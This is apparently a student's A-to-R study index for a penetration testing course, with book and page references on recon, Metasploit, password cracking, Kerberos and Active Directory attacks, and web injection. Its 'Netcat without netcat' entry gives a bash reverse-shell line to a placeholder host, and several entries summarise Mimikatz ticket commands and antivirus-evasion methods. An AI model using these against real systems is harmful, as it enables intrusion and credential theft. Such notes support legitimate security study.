## No Z

# Aa

**ACE** *[b1/p15]* Term used in Purple Teaming. Automation, Coverage, and Effectivness.

**Act of penetration testing**  *[b1/p13]* To find and exploit vulnerabilites under controlled circumstances within a designed scope based on the rules of engagement to determine business risk. Sub-set of Ethical Hacking

**Additional ways to get passwords** *[b4/p24]* Packet sniffing cleartext protocols (FTP, HTTP, Telnet), Keystroke logging (Meterpreter has this functionality). Pass-the-Hash

**AfriNIC** *[b1/p134]* African region

**Alockout.dll** *[b4/p28]* records a text file of apps that may be locking out accounts

**APNIC** *[b1/p134]* Asia Pacific Network Information Center. Asia-Pacific region

**ARIN** *[b1/p134]* American Registry for Internet Numbers, North America, and some Caribbean islands

**ASN** *[b1/p134]* Autonomous System Numbers. IP addresses and associated routers. Routing policy

**Attack Phases** *[b1/p24]* Reconnaissance, Scannng, and Exploiting

# Bb

**Beyond Trust** *[b1/p39]* Vuln scanner

**BGP** *[b1/p134]* Border Gateway Router.

**BHDB** *[b1/p153]* Bing Hacking Database - Searching against Bing for specific data

**Bloodhound** *[b5/p43]* Generates a diagram of active sessions and relationships in AD

**Blowfish-based** *[b4/p54]* hashed password start with $2$ or $2a$

**Book 1 Conclusion** *[b1/p167]* -

**Book 2 Conclusion** *[b2/p143]* -

**Book 3 Conclusion** *[b3/p136]* -

**Book 4 Conclusion**  *[b4/p131]* Good info

**Book 5 Conclusion** *[b5/p136]* Covered Active Directory attacks using mimikatz, bloodhound, ZAP, and different web site injection attacks.

**BSDi Extended DES** *[b4/p54]* \_ marks the start of the hashed password

# Cc

**CeWL** *[b4/p21]* Custom word list generator

**Challenge-response authentication protocols** *[b4/p49]* LANMAN challenge/response, NTLMv1, NTLMv2, and MSFT Kerberos.

**CIDR** *[b1/p134]* Classless Inter-Domain Routing

**Client Long-term key** *[b5/p7]* Based on the password of the client, used in Kerberos to check the encrypted timestamp (AS-REQ) and encrypt the session key (AS-REP)

**Client-side** *[b3/p11]* Get user to go to a webpage with exploit or gather creds. Exploitable client side application(s)

**Command inection commands** *[b5/p107]* Ping is great -c N for \*NIX systems and -n N for Windows to limit it to a certain number of times.

**Command injection** *[b5/p102]* Attacker sends commands for a command shell to run

**Common files to grab** *[b4/p11]* Source Code, password files, config scripts, etc

**CORE Impact** *[b1/p39]* Network services and web app exploit kit

**CredentailGuard** *[b5/p22]* Prevents Kerberos keys being stolen from memory. Available in Windows 10 Enterprise.

**Credential Stuffing** *[b4/p18]* Using breached data in password guessing. Highlights why password reuse is so bad.

**Cross-Site Request Forgery (XSRF)** *[b5/p102]* Involves injection HTML elements into a web app so that a browser can later render them.

**Cross-Site Scriptin (XSS)** *[b5/p102]* A form of script injection where the attacker sends a browser scripts to a target web server, which then may forward them to a browser where they may run.

**Csaba Barta** *[b4/p46]* Tool designed to forensics analysis

**Custom compile** *[b3/p63]* Allows for custom options and compilers to help evade AV

# Dd

**DCShadow** *[b5/p77]* Need Domain admin rights first.Can use this to change the hash of a sensitive account and then replicate the database.

**DCSync** *[b5/p75]* Need domain admin rights which a golden ticket can provide

**DCSync alerting** *[b5/p76]* Watch for DRSR protocol traffic for something other than the Domain Controllers.

**dig** *[b1/p145]* can zone transfer and specify the types of records to return.

**Direct load malware in memory** *[b3/p63]* Doesn't touch filesystem, which can help evade AV detection

**Discovered Vulnerabilities** *[b1/p20]* Not all vulnerabilities will be addressed, the business may accept the risk.

**DNS - A** *[b1/p141]* Address record name to IPv4 address

**DNS - AAAA** *[b1/p141]* Quad-A name to IPv6 address

**DNS - CNAME** *[b1/p141]* Canonical Name - alias or alternative names for a host

**DNS - HINFO** *[b1/p141]* Host Information Record - arbitrary information for a domain name

**DNS - MX** *[b1/p141]* Mail Exchange - email servers

**DNS - NS** *[b1/p141]* Nameserver record

**DNS - PTR** *[b1/p141]* Pointer for inverse lookups - gives IP address for a domain name

**DNS - RP** *[b1/p141]* Responsible Person - identifies a person responsible for a domain

**DNS - SOA** *[b1/p141]* Start of Authority - indicates that a server is authoritative for a given DNS zone

**DNS - SRV** *[b1/p141]* Service location - available services, ports, and hostname. Rarely used.

**DNS - TXT** *[b1/p141]* Text Record - arbitrary text string for a domain

**DNS Cache snooping** *[b1/p144]* Getting cached data from DNS servers.

**DNS Lookups** *[b1/p141]* -

**Domain admin recovery** *[b4/p46]* Special mode that can help get a copy of the ntds.dit file

**Domain dominance Defense** *[b5/p80]* Use klist to detect long validity of TGT's, needs lots of data. Detecting DRSR traffic not between DC. Look for Win Events of ID 5137 and 5141

# Ee

**Empire** *[b3/p87]* Client(written in Powersehll)-Server(Written in Python) over 100 modules and cryptographically secure. Post-exploitation tool

**Empire Empire Modules** *[b3/p90]* PowerBreach, Posh-SecMod, PowerSploit, PowerUp, PowerView.

**Empire features** *[b3/p89]* Kill dates, working times, session rename, communication via reverse HTTP/HTTPS connection and proxy aware. Slack communications

**Empire Module Categories** *[b3/p91]* Code Execution, Collection, Exfiltration, Exploitation, Fun, Lateral Movement

**Empire Modules Additional** *[b3/p92]* Management tasks, Persistence, Recon, Situational Awareness, Trollsploit

**Encoding malware** *[b3/p63]* modifying malicious file in a systematick way, applying a round of encounding/encyrption with decoding/decryption in the header

**Enlightenment Exploit Pack** *[b3/p19]* For linux includes a dozen exploits to get UID 0

**Ethical Hack & Pen testing** *[b1/p9]* Are tools for dealing with threats, vulnerabilities, risks, and exploits

**Ethical Hacker** *[b1/p11]* Use attack techinques to find security flaws WITH permission.

**Ethical Hacking** *[b1/p12]* Expansive term encompassing ALL hacking techniques used for good

**Evasion Tactics** *[b3/p63]* -

**Evastion Shutdown AV** *[b3/p63]* -

**ExifTool** *[b1/p122]* specific structured data extraction tool. reading, writing, and editing metadata. pg123

**Exloit-DB** *[b1/p37]* Exlpoit information sorted

**Exploit** *[b1/p9]* Is the vehicle by which the attacker uses a vulnerability to cause damage

**Exploit** *[b3/p5]* code or technique that a threat uses to take advantage of a security vulnerability on a target system

**Exploit Risk** *[b3/p7]* Could cause system crash possible legal issues.

**exploitation fromworks** *[b2/p100]* Commercial Core Impact, MetaSploit Pro, Cobalt Strike, Immunity's CANVAS. Open Source Metasploit

**Exploite Why?** *[b3/p6]* reduces false positives, confirms vulns, and can help gain access to other systems

**Exploits client-side** *[b3/p9]* Attacks a client application that fetches content from a server

**Exploits Local Privilege escalation** *[b3/p9]* Escalates current privileges on a machine to gain higher permissions

**Exploits service-side** *[b3/p9]* Attack a service that is listening on the network

# Ff

**FIFO** *[b3/p79]* First In First Out

**FOCA** *[b1/p122]* specific structured data extraction tool

**Free Testing Methodologies** *[b1/p26]* Lists of free pentesting methodologies

**FSDB** *[b1/p153]* Foundstone Database lots of categories, backups, config mgmt, privacy, remote admin, and vulns.

**FTP** *[b4/p6]* TCP 20 (data) and TCP 21 (control)

# Gg

**GHDB** *[b1/p152]* Google Hacking Database

**Ghost Writing** *[b3/p63]* altering the malicious executable in a dissasembler or hex editor and adding innocuous machine language

**Golden Ticket** *[b5/p68]* Nothing more than a special TGT created by an attacker. Must have the Target LT key and the KDC LT. Need the NTLM hash or AES key of the krbtgt account

**Golden Ticket Mitigation** *[b5/p72]* Change the password of the KRBTGT acccount TWICE

**Group Policy Preferences** *[b5/p54]* GPPs were used to allow admins to create domain policies with embedded credentials. MS14-025

# Hh

**Hacker (Sinister)** *[b1/p11]* Breaking into computer systems without permission

**Hacker (Traditional)** *[b1/p11]* Manipulating technology to do something it was not intended to do

**HackerStorm** *[b1/p38]* Downloadable vuln research

**Hashcat** *[b4/p93]* Multithreaded cracking tool for CPU and GPU's. Runs on Linux and Windows.

**Hashcat Hash types** *[b4/p94]* 245 different algorithms. Launch with -m and hashmode. --help (-h) lists the hashmodes

**Hashcat mangling** *[b4/p97]* -

**Hashcat potfile** *[b4/p95]* hashcat.potfile contains cracked passwords. --show option and --restore

**Hashcat rules** *[b4/p96]* Does not utilize usernames and GECOS fields, can specify multiple dictionary files, and has lots of mangling rule sets listed in the best64.rule.

**Hop Limit** *[b2/p24]* 8-bits

**HP WebInspect** *[b1/p39]* Web app scanner and exploit

**HTTP/HTTPS** *[b4/p6]* TCP 80 and TCP 443

**Hybrid password Guessing** *[b4/p22]* fromulating alterations of password dictionary words

**Hydra guessing tool** *[b4/p35]* The Hackers Choice group created it. GUI (xHydra) and command line. Lots of supported protocols.

**Hydra pw-insptector** *[b4/p36]* trim word lists based on targets password policy

# Ii

**IBM AppScan** *[b1/p39]* Web app vuln discovery

**ICMP unreachable - TCP** *[b2/p31]* Type 3, code 0,1,2,3,9,10, or 13 Mark "filtered"

**ICMP unreachable - UDP** *[b2/p35]* Type 3, Code 3. Port is closed

**Immunity Canvas Pro** *[b1/p39]* OS & Net service exploit kit

**Infrastructur -VM Test machines** *[b1/p44]* bridged mode

**Infrastructure - Firewall** *[b1/p46]* -

**Infrastructure - test system** *[b1/p48]* Harden and patch machine you're testing from and encyrpt drive(s). Scrub machines between tests.

**Infratructure** *[b1/p40]* Lab tools

**Infratructure - Network** *[b1/p45]* -

**Injection Attacks** *[b5/p102]* Attacker sends user input that includes instructions mixed with data.

**IPv4 Dest Address** *[b2/p23]* 32-bits

**IPv4 Source Address** *[b2/p23]* 32-bits

**IPv6 Dest Address** *[b2/p24]* 128-bits

**IPv6 Source Address** *[b2/p24]* 128-bits

**ISN** *[b2/p28]* Initial Sequence number - TCP Syn packet 32 bits long pseudorandom number

# Jj

**John Details** *[b4/p86]* Has 4 different cracking modes, auto save recovery files every 600 secs,

**John External** *[b4/p86]* Enables people to write their own C code to formulate guesses

**John Incremental**  *[b4/p86]* Brute force, starts with characters that are near each other on the keyboard. Also uses frequency analysis of characters used in real passwords

**John multi**  *[b4/p91]* It supports mulit processing for distributed cracking

**John password store** *[b4/p87]* john.pot file in the run directory. It doesn't show if it has already cracked a password in a current test. REMEMBER this.

**John Single Crack** *[b4/p86]* variations of users login name and the GECOS field

**John the Ripper** *[b4/p58]* Password cracking tool. Has unshadow feature that combines account info from /etc/passwd and /etc/shadow.

**John the Ripper commercial** *[b4/p86]* Has additional capabilities and is only $40

**John Wordlist**  *[b4/p86]* dictionary attack plus configuration file to specify how to hybridize the dictionary

**John's output** *[b4/p89]* any key while running will give details. Guesses, Time, Precentage, c/s, and Trying. Can cat ~/.john/john.pot for current list of pwd's

**John's Speed** *[b4/p90]* John can be custom compiled and tuned for specific architectures and modes.

**John.rc** *[b4/p88]* Writes to .rec every 10 minutes, double CTRL-C causes it to exit and not create the recovery file. Use --restore to pick up where left off

# Kk

**KDC Long-Term secret key (domain key)** *[b5/p7]* Based on the infamous krbtgt account password NT hash. Used to encrypt the TGT (AS-REP) and sign the PAC (AS-REP and TGS-REP)

**Kerberoasting** *[b5/p13]* An attack technique used to attack the target servcie NTLM hash. It attacks service accounts not computer accounts

**Kerberoasting tools** *[b5/p16]* Toolkit that can be used with mimikatz and one built into Empire (Invoke-Kerberoast)

**Kerberos** *[b5/p5]* A network based authentication protocol based on tickets. Developed by MIT. KDC, client, and server

**Kerberos defenses** *[b5/p21]* Strong 25+ random character pwd for SPN's. Use managed service accounts. Disable RC4 where possible and alert. Enable PAC, this will cause a performance hit. Use Protected Users, won't store Kerberos keys in LSASS memory. Credential guard.

**Kerberos Key Distribution Center (KDC)** *[b5/p6]* Includes the Authenticatin Server (AS) and the Ticket Granting Service (TGS).

**kerberos::list /export** *[b5/p18]* Mimikatz command to export the TGT from a machine in which a domain admin is logged on. Must have admin rights on that machine

**kerberos::tgt** *[b5/p18]* Mimikatz command to display the TGT

**kerberos:ptt** *[b5/p19]* Command used to pass the ticket

# Ll

**L0phtCrack** *[b/p52]* Tool used to crack NTLMv2

**Lab 1.3 Metadata treasure hunt** *[b7/p25]* exiftool and strings

**Lab 1.4 Recon-NG** *[b7/p41]* Recon-ng 4.9

**Lab 2.1 Nmap** *[b7/p57]* NMAP basics

**Lab 2.2 Nmap -O -sV** *[b7/p69]* Nmap Operating system and scan version

**Lab 2.3 Nmap NSE** *[b7/p76]* Nmap Scanning engine

**Lab 2.4 Nessus** *[b7/p92]* Covers some nessus basiics

**Lab 2.5 Netcat** *[b7/p115]* Covers some of the basics of NetCat

**Lab 2.6 Powershell** *[b7/p127]* Covers a few powershell basics included port scanning

**Lab 3.1 Metasploit** *[b7/p136]* Covers Metasploit Venom

**Lab 3.2 Meterpreter** *[b7/p155]*

**Lab 3.3 Veil Framework** *[b7/p182]* -

**Lab 3.4 Port Pivot Relay** *[b7/p203]* using netcat to create a relay

**Lab 3.5 Empire** *[b7/p212]* create agents and run commands

**Lab 3.6 Running Remote Windows commands** *[b7/p251]* Using SC and WMIC

**Lab 4.1 Hydra** *[b7/p266]* xHydra and pw-inspector password guessing

**Lab 4.2 Msf psexec, hashdump, and kiwi** *[b7/p282]* -

**Lab 4.3 MSF Pivots** *[b7/p298]* Pivots. Used metasploit and SSH -D, -L

**Lab 4.4 Cracking with John and Hashcat** *[b7/p316]* Covers John lm2ntcrack, hashcat and lots of features.

**Lab 4.5 Sniffing and Cracking** *[b4/p340]* Captured windows creds and voice conversations. Pcredz, john, and hashcat. Also play audio capture file.

**Lab 5.1 Kerberos** *[b7/p358]* Used Mimikatz, procdump, psexec, tgspython.

**Lab 5.2 Responder** *[b7/p370]* Simple tool to use

**Lab 5.3 Bloodhound** *[b7/p380]* -

**Lab 5.4 Privilege Escalation** *[b5/p391]* BeRoot, Empire. UAC bypass

**Lab 5.5 Domain Dominance** *[b7/p398]* DCSync and Golden Ticket

**Lab 5.6 ZAP** *[b7/p408]* Used ZAP to modify a cookie and changed the ID to 0

**Lab 5.7 Command Injection** *[b7/p423]* injected tests with ; seperating the different commands. Also used a not netcat netcat with bash

**Lab 5.8 SQL Injection** *[b7/p437]* Used Unions and attacks on MySQL database loading our own custom PHP file to execute

**Lab Infrastructure** *[b1/p32]* Lab tools

**LACNIC** *[b1/p134]* Latin American and Caribbean Internet Address Registry. Latin America and most Caribbean.

**LANMAN** *[b4/p19]* stores all password characters as upper case before creating the HASH

**LANMAN** *[b4/p47]* Pads to < than 15 characters pwd to 14, uppercases them, and uses DES to encrypt each 7 character piece

**LANMAN challenge/response** *[b4/p49]* Different than LANMAN. Used for network network authentication. Uses padding, splitting, and encryption. Uses LANMAN hashes

**LANMAN, NTLMv1 C/R** *[b4/p51]* details

**Law** *[b1/p64]* -

**Limited liability and insurance** *[b1/p63]* -

**Linux/Unix password representation** *[b4/p54]* Most use Crypt3 routine for creating their password representations

**lm2ntcrack** *[b4/p19]* Use the cracked LANMAN password and the NT Hash to find the real password. In the Metasploit Tools directory.

**local-privilege** *[b3/p19]* race conditions, kernel attacks, high-priviledge program exploit

**Lockout duration** *[b4/p29]* measure in minutes, of how long an account will be locked before being automatically re-enabled.

**Lockout Observation window** *[b4/p29]* Time duration in minutes, of how long the bad attempts are counted

**Lockout Threshold** *[b4/p29]* Count of bad password attempts before an account is locked

**Lockoutstatus.exe** *[b4/p28]* Pulls locked-out accounts from AD

# Mm

**Masscan** *[b2/p14]* Custom TCP/IP stack. Large amount of bandwidth. Robert Graham 6min to scan the entire internet

**MBSA** *[b3/p15]* Microsoft Baseline Security Analyzer - to help determine client-side expliotable software.

**MD5 Based password scheme** *[b4/p56]* Keep full character set, password and salt hashed together.1000 rounds of . SHA-256/512 5000 roungs

**MD5 hashed** *[b4/p54]* $1$

**Metadata analysis** *[b1/p119]* Analyzing the metadata of files to gather intel

**Metadata Extraction Tool** *[b1/p122]* specific structured data extraction tool

**Metasploit**  *[b3/p21]* Exploitation Framework Open Source

**Metasploit Arsenal** *[b3/p22]* Exploits, Payloads, auxiliary, and post modules

**Metasploit auxiliary module** *[b3/p22]* additional attack capabilities; port scanning, DNS Recon, vuln checks, etc

**metasploit Browser Autopwn** *[b3/p14]* Turns metasploit into a web server and tries to compromise the client via browser vulnerabilities.

**Metasploit components** *[b3/p25]* Documnetation, User Interfaces, Modules, Exploit Creation, and other items

**Metasploit encoders** *[b3/p27]* Helps transforms payloads and exploit combinations to hide from IPS/IDS tools

**Metasploit exploit arsenal** *[b3/p28]* broken into directories based on operating system

**Metasploit exploits** *[b3/p22]* code to take advantage of a given vulnerability

**Metasploit Meterpreter File moves** *[b4/p8]* Can use Meterpreter to move files with upload and download. Also cat and edit

**Metasploit Modules** *[b3/p27]* auxiliary, encoders, exploits, nops, payloads, post

**Metasploit multi/handler** *[b3/p28]* generic listener that waits for a conneciton

**Metasploit NOPS** *[b3/p27]* tells a processor to do nothing

**Metasploit payload** *[b3/p22]* code that does something on a target machine

**Metasploit payloads** *[b3/p31]* singles, stagers, and stages

**Metasploit Pivot** *[b4/p71]* Using the MSF route command to tunnel all attack traffic to other systems THROUGH an already compromised system.

**Metasploit post modules** *[b3/p22]* finding valuable information and target system reconfiguration

**Metasploit PsExec** *[b3/p29]* Uses SMB module, must have Admin permissions and SMB access

**Metasploit PsExec** *[b3/p121]* in the exploit diretory. Allows for pass-the-hash

**metasploit route**  *[b3/p51]* Must have an established meterpreter session. Used as a pivot through a compromised system vi meterpreter.

**metasploit singles payload** *[b3/p31]* Contains the functionality and communication

**Metasploit stager payload** *[b3/p31]* Some payloads are broken into multiple pieces.TCP ports, reverse TCP connection.

**Metasploit stages payload** *[b3/p31]* Elements of a payload that implement pieces of a payload. Remote shell, gui control, etc

**Metasploit User Interfaces** *[b3/p26]* msfconsole, msfd, msfrpcd, msfcli, msfvenom

**Metasploit Windows Exploits** *[b3/p29]* SMB, browser, dcerpc, scada, vnc

**Metasploit Windows Singles** *[b3/p32]* adduser, speak\_pwned, exec, download\_exec, shell\_bind\_tcp, shell\_bind\_tcp\_xpfw, shell\_reverse\_tcp

**Metasploit Windows Stagers** *[b3/p33]* bind\_tcp,bind\_tcpv6\_tcp, reverse\_tcp, reverse\_ipv6\_tcp,reverse\_http, reverse\_https, reverse\_tcp\_allports

**Metasploit Windows Stages** *[b3/p34]* dllinject, upexec, shell, vncinject, meterpreter

**Meterpreter** *[b3/p42]* Metasploit Interpreter. Payload that runs inside the memory of a metasploit-exploited process, Encrypted over TLS

**meterpreter additional modules** *[b3/p52]* stored in data/meterpreter. Default modules Core (metsrv.dll),Stdapi (ext\_server\_stdapi.dll), and ext\_server.dll.

**Meterpreter common commands** *[b3/p43]* ? / help, exit/quit, sysinfo, shutdown/reboot, reg, shell

**meterpreter console interface** *[b3/p48]* screenshot, idletime, uictl

**meterpreter file system commands** *[b3/p46]* cd, lcd, pwd/getwd, ls, cat, download/upload, mkdir/rmdir, edit

**meterpreter getsystem** *[b3/p53]* priv extension. Get system privileges on target. -t . Local privilege escalation

**Meterpreter hashdump** *[b4/p60]* Two ways of doing this, a script and the priv module (this runs in memory). Must be running as elevated permissions

**meterpreter keystrok logger** *[b3/p50]* keyscan\_start,keyscan\_dump, keyscan\_stop

**meterpreter network commands** *[b3/p47]* ipconfig, route, portforward (good for a TCP relay) NO PING command

**Meterpreter priv extension** *[b3/p19]* Uses getsystem to run several different attacks to escalate

**meterpreter process commands** *[b3/p45]* getpid, getuid, ps , kill, execute, migrate.

**Meterpreter Route**  *[b4/p71]* Controls the network routes ON the compromised system

**meterpreter webcam and mic** *[b3/p49]* Ask before using and get written permission. Webcam\_list, webcam\_snap, webcam\_mic -d

**MimiKatz** *[b4/p61]* pulls hashes and/or cleartext passwords from memory of the LSASS process. Now in the metasploit framework.

**MimiKatz::golden** *[b5/p71]* Creates the golden ticket. Need NTLM Hash of krbtgt account, domain name, name of the administrative account, and the SID of the admin account

**Mitre** *[b1/p38]* Common vuln data

**mknod** *[b3/p78]* good for port pivot relay

# Nn

**ncat** *[b2/p102]* most of netcat's features, plus ssl

**nessus** *[b2/p87]* vulnerability scanner

**nessus scan policy** *[b2/p90]* record details of plugins and feed info. Scan Policy for each test so results are repeatable.

**netcat** *[b2/p102]* network widget used for sending and reciving data and listening for data to come in on TCP and UDP ports

**netcat common flags** *[b2/p103]* -l, -L, -u, -p, -e, -n, -z, -wN, -v, -vv'

**netcat service info** *[b2/p105]* nc [targetIP] [targetPort] May have to enter something like Enter or HEAD / HTTP/1.0 Enter Enter

**Netcat without netcat** *[b7/p433]* Start a listener on your machine then tell bash on the target machine to /bin/bash -I > /dev/tcp/IP\_Address/NC\_port 0<&1

**netsh wlan** *[b4/p11]* As admin or system you can get the wireless details

**Network Miner** *[b4/p112]* Can do similar things as wireshark

**NFS** *[b4/p7]* TCP and UDP port 204

**Nikto** *[b5/p88]* Web Browser vulnerability tool

**NIST** *[b1/p29]* National crediability. Good reference docs

**nmap** *[b2/p37]* port scanner

**nmap -n** *[b2/p68]* Use IP address not name

**nmap -sS syn scan** *[b2/p50]* half open two of the three handshake. Needs root privs

**nmap -sT connect** *[b2/p49]* TCP Connect scan "-sT" full thre-way handshake

**nmap address probing** *[b2/p44]* UID 0 users and non-UID 0 users (no ICMP echo packet)

**nmap common ports** *[b2/p47]* -

**nmap IPv6** *[b2/p54]* -

**nmap NSE** *[b2/p76]* Nmap scripting engine LUA programming language

**nmap NSE -sC --script** *[b2/p77]* -sC run all scripts' --script= run specific scripts --script-trace for details --script-args for specific arguments

**nmap NSE categories** *[b2/p78]* Auth, Broadcast, Brue, Discovery, Dos, Exploit, External, Fuzzer, Intrusive, Malware, Safe, Version, Vuln, and Default

**nmap NSE scripts.db** *[b2/p80]* /user/local/share/nmap/scripts/scripts.db

**nmap OS Fingerprinting** *[b2/p62]* -O oir -O2. older versions used -O1

**nmap OS Fingerprinting tests** *[b2/p63]* 30 different types of fingerprinting tests

**nmap output options** *[b2/p43]* "-oN, -oG, -oX, -oS, and -oA"

**nmap port scanning**  *[b2/p48]* "-p, -F, -r

**nmap runtime options** *[b2/p40]* p,v,d. Shift p, v, or d.

**nmap scanflags** *[b2/p52]* Your own TCP Control Bits

**nmap service probe** *[b2/p69]* /user/local/share/nmap/nmap-services-probe

**nmap sweeping** *[b2/p46]* "-sP, -Pn, -PB, -PE, -PS[portlist], -PP, -PM, -PR

**nmap TCP scan options** *[b2/p51]* ACK, FIN, Null, Xmas tree, Maimon

**nmap timing fine-grained options** *[b2/p42]* -

**nmap timing options** *[b2/p41]* 1,2,3,4, or 5

**nmap UDP scan** *[b2/p53]* -sU'

**nmap version scanning** *[b2/p65]* -sV or -A (OS fingerprint, version scan, script scan with default scripts, and traceroute)

**nslookup** *[b1/p143]* widely availabe tool. specify server, set type=any, ls -d z(zone transfer) view

**nslookup - recurse** *[b1/p144]* getting DNS information from DNS servers passing data to other DNS servers

**NT Hash** *[b4/p19]* Used on Windows 2000 and later.

**NT Hash** *[b4/p48]* uses MD4, max 256 characters, and preserves case

**ntds.dit** *[b4/p25]* AD passwrod representation

**ntdsxtract** *[b5/p66]* From Csaba Barta. Can decrypt and extract hashes from ntds.dit

**NTLMv1 and v2** *[b4/p49]* network authentication protocols that rely on NT hash. v1 uses same padding, splitting, and encypting as LANMAN c/r.

**NTLMv2 Attacks** *[b5/p28]* Sniffing for challenge-responses and Relaying SMB Connections

**NTLMv2 attacks additional** *[b5/p33]* Vulnerability authenticated scans, remote SMB shares

**NTLMv2 C/R graphic** *[b4/p53]* -

**NTLMv2 Challenge/Response** *[b4/p52]* Details on how it works. Server and client challenge and two stages of hashing. More complex and harder to crack

# Oo

**Obtaining Windows Passwords** *[b4/p59]* hashdump in metasploit, mimikatz, copy of ntds.dit from VSS on a domain controller, and/or sniffing the net traffic and getting authentication attempts.

**OSI - Layer 1 - Physical** *[b2/p25]* -

**OSI - Layer 2 - Data Link** *[b2/p25]* -

**OSI - Layer 3 - Network** *[b2/p25]* -

**OSI - Layer 4 - Transportation** *[b2/p25]* -

**OSI - Layer 7 - Application** *[b2/p25]* -

**OSSTMM** *[b1/p27]* scoping, metrics, SE, physical sec, wifi, telecom, and data network security. Reports and scoping

**Other injection** *[b5/p102]* XML injection, Xpath injection, and LDAP injection

**Over-pass-the-hash** *[b5/p20]* Using an NTLM hash of a compromised user account to get a TGT.

**OWASP** *[b1/p30]* Risk matrix

**OWASP** *[b5/p89]* Open Web Application Security Project

# Pp

**p0f** *[b5/p106]* Free OS Fingerprinting tool focuses on TCP Syn packets

**PAC Validation** *[b5/p12]* -

**Packet Storm** *[b1/p37]* history of attacks and defense tools

**PAM \*NIX** *[b4/p31]* Pluggable Authentication Modules handles account lockouts. /etc/pam.d/\* and /etc/pam.conf

**Pass-the-hash** *[b4/p121]* Mostly done in Windows env, but can work with some web applications

**Pass-the-hash metasploit** *[b4/p124]* Uses LM:NT hash format

**Pass-the-Hash Tools** *[b4/p131]* Windows Credential Editor, Metasploit PsExec, and NMAP NSE SMB scripts

**Pass-the-ticket attack** *[b5/p18]* Using a Kerberos ticket generated or obtained from a compromised machine (TGT or TGS)

**Password cracking** *[b4/p15]* Attacker gets a copy of the encyrpted or hashed password representation from sniffing or taking them off a target machine

**Password guessing** *[b4/p15]* formulating a for a password and trying to use that password to authenticate to a system

**Password guessing attacks** *[b4/p33]* Avoid due to potential lockouts, have ogranization gather lockout information for you, use a test account to see policy of lockouts, and slow guessing.

**Password Spray** *[b4/p15]* using one password against a lot of different accounts.

**Password Word List** *[b4/p20]* Have separate lis for cracking vs guessing

**Pcredz** *[b4/p109]* need to capture packets first. Then Pcredz can extract the hashes

**Pen test process** *[b1/p61]* Prep, test, conclude

**Pentester Mindset** *[b1/p7]* Two concepts, Think outside the box and be thorough with notes

**Permission memo** *[b1/p62]* Get out of jail - VERY Important

**Pivoting** *[b4/p70]* Using one system to access another system.

**Port forwarding types** *[b4/p70]* Local, reverse, and dynamic

**Port forwarding via Meterpreter** *[b4/p75]* portfwd add -l <someport> -r <IP> -p <port>

**Port forwarding via msf/meterpreter** *[b4/p75]* use auxiliary/server/sockets4a

**Port Pivot relay** *[b3/p77]*

**Post Exploitation Tools** *[b-/p-]* BeRoot, Watson, Empire

**Post-Exploitation** *[b3/p76]* activities that happen AFTER successfully exploiting a system

**powershell** *[b2/p116]* object-oriented uses objects with properties and methods. Verb-noun 'Get-ChildItem'

**powershell $\_ (current Object)** *[b2/p126]* Used a lot with %

**powershell %. (ForEach-Object)** *[b2/p126]* ForEach-Object when used with pipe (|) {} are used

**powershell -whatif** *[b2/p123]* -

**powershell 2>$null** *[b2/p131]* Throw away errors

**powershell ? Where-Object** *[b2/p127]* options(-eq,-ne,-like,-gt,-lt)

**powershell common cmdlets** *[b2/p119]* Get-ChildItem, Copy-Item, move, Select-String, Get-Help, Get-Content, Get-Process, Get-location

**powershell common verbs** *[b2/p117]* Get-, Set-, New-, Read-, Find-, Start-

**powershell env:** *[b2/p130]* Environment varialbe

**powershell essential things to remember** *[b2/p136]* -

**powershell format-list** *[b2/p125]* Nice way to display results, It also has additional flags

**powershell Get-ChildItem** *[b2/p129]* works like 'ls' in linux.

**powershell get-content** *[b2/p129]* works like cat or less or more. Reads the content of things

**powershell Get-Member** *[b2/p124]* list of properties and methods

**powershell help options** *[b2/p120]* help <command> '-detailed, -examples, -full'

**powershell options** *[b2/p132]* putting things in Double"'s is like echo. M..N (makes a list of M thru N), ().count is similar to wc -l in linux.

**powershell out-host** *[b2/p134]* turns output of a command into a stream of data. Has options like -paging (like more in linux)

**powershell select-object** *[b2/p128]* alias select. Used to select specific properties to display

**powershell Select-string** *[b2/p131]* Like grep (-ca case-sensitive)

**powershell variable:** *[b2/p130]* current variables prepend $

**powershell Write-Host** *[b2/p130]* essentially "echo"

**Privilege Account Certificate (PAC)** *[b5/p10]* Very sensitive and signed with two keys. Target Long-term key and. KDC Long-term key.

**Privilege Escalaltion Tools** *[b5/p56]* BeRoot, Watson, PowerUp

**proxychains** *[b4/p74]* If the application can't support proxy. Replaces the standard libraries via LD\_PRELOAD Default port is TCP 1080, but can change in the proxychains.conf

**PTES** *[b1/p28]* In-depth pen test resource

**PTF** *[b1/p31]* free in-depth focused on pen testing

**Purple Teaming** *[b1/p15]* Cross-Functional teams where red and blue work together to identify red teams attacks.

# Qq

**Q** *[b-/p-]*

# Rr

**Rapid 7 Metasploit** *[b1/p39]* Pro pent test suite

**Rapid 7 Nexpose** *[b1/p39]* vuln management system

**Recon** *[b1/p117]* Information gathering phase. Very important

**Recon Commands** *[b4/p12]* netstat -an, arp -a, ipconfig /displaydns. \*NIX netstat -natu, arp -a, netstat -nr

**Recon-NG** *[b1/p157]* Framework that pulls numerous different recon capabilities. stores data in internal database

**Recon-NG modules groups** *[b1/p158]* Discovery, Exploitation, Import, Reporting, Recon

**Recon-NG recon module** *[b1/p159]* Companies, Contacts, Credentials, Domains, Hosts, Locations, Netblocks, Pors, Profiles.

**Red Teaming** *[b1/p14]* Focused on measuring and improving the Blue Team's capabilities using realworld attack techniques.

**Rep-Collab - Dradis** *[b1/p114]* -

**Repo-Collab - EtherPad** *[b1/p115]* attack collaboration tool. Hosted or self-hosted

**Repo-Collab - Lair** *[b1/p115]* attack collaboration tool supports importing of external scans results. web-browser access

**Repo-Collab - Magic Tree** *[b1/p114]* -

**Repo-Collab - Metasploit Database** *[b1/p115]* Explotation framework that can import external results and store in different tables (loot, vuln,hosts,creds,etc)

**Report - Appendicies** *[b1/p110]* Detailed vulnerabilities, long lists of data. Memos or emails from organization if they noticed the tests.

**Report - Conclusion** *[b1/p109]* Optional and is a summary of executive and intro section. Could thank the organization for the opportunity

**Report - Executive Summary** *[b1/p97]* Keep it short and to the point

**Report - Findings** *[b1/p100]* Very technical section

**Report - Introduction** *[b1/p99]* Overview of project

**Report - Methodology** *[b1/p108]* Tell them how you did what you did, be specific

**Report - Recommendations** *[b1/p106]* categories: patches, hardening, & filtering.

**Report - Redaciton** *[b1/p105]* Do not include password or sensitive data in report.

**Report - Screenshots** *[b1/p102]* This may be printed in B&W consider not using certain colors. Also keep colorblindness in mind. Focus screenshots

**Reporting** *[b1/p94]* Write as you go

